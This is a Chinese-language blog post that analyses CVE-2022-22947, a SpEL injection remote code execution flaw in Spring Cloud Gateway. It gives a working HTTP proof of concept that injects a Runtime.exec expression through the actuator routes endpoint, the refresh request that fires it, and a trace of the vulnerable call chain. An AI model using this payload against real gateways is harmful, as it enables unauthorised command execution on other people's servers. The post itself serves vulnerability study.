CVE-2022-22947 SpringCloud GateWay SPEL RCE分析

0收藏

0点赞

浏览量:276

2022-03-23

举报

CVE-2022-22947 SpringCloud GateWay SPEL RCE分析

环境

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

POC

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

审计

首先根据POC可以大致看出这个漏洞根本原因是存在SPEL注入,再根据diff记录,重点关注SPEL注入相关函数的修改:

从这里就可以明显看出漏洞的触发点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue,接下来就是往上回溯执行点

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType这个枚举中调用了getValue函数,而shortcutType方法则调用了ShortcutType.DEFAULT枚举:

继续向上查找shortcutType函数的调用情况,可以看到在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties中对该函数进行了调用

这里的normalizeProperties函数对成员变量properties进行了调用,继续向上,则是ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数

继续向上找bind方法的调用

这里可以看到不仅调用bind方法,还调用了properties方法对后续关键的成员变量properties进行了设置

通过loadGatewayFilters方法向上回溯调用,可以找到这么一条链

RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> 
    GatewayControllerEndpoint#route

从这里就能看出漏洞的来源是filter路由的添加

POC执行流程

首先通过添加路由功能添加一条路由,也就是POC中的请求,代码如下

这里可以看下构造路由所需的参数,也就是RouteDefinition的结构

再跟进一下FilterDefinition

还需要一个name和args的键值对

其他的则是validateRouteDefinition函数值得注意,它主要校验添加的路由的name要和已有的filter相匹配

简单看一下变量,已有的filter有29个,我们就可以根据这个29个filter的name去构造poc,而AddResponseHeader显然也是其中一个(选择这个filter的原因是它能够回显)

发送POC之后,新的路由就被添加了,但此时漏洞并没有触发,需要调用refresh接口激活刚添加的路由

POST /actuator/gateway/refresh HTTP/1.1 
Host: 127.0.0.1:8080 
Connection: close

发送之后,则会调用上文中的漏洞触发过程

总结

这个漏洞的原理还是比较简单的,但是整个利用链感觉还是比较复杂,想要完全梳理漏洞的触发逻辑还需要对spring cloud gateway这个框架有一定的了解,因此本文只是对这个漏洞的利用过程进行了一个大致的梳理,有一些细节就没有去深究了,这也是后续需要学习完善的地方。

参考

https://www.cnblogs.com/bitterz/p/15964852.html

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response




(来源:先知社区)

(原文链接:https://xz.aliyun.com/t/11004

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安 Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP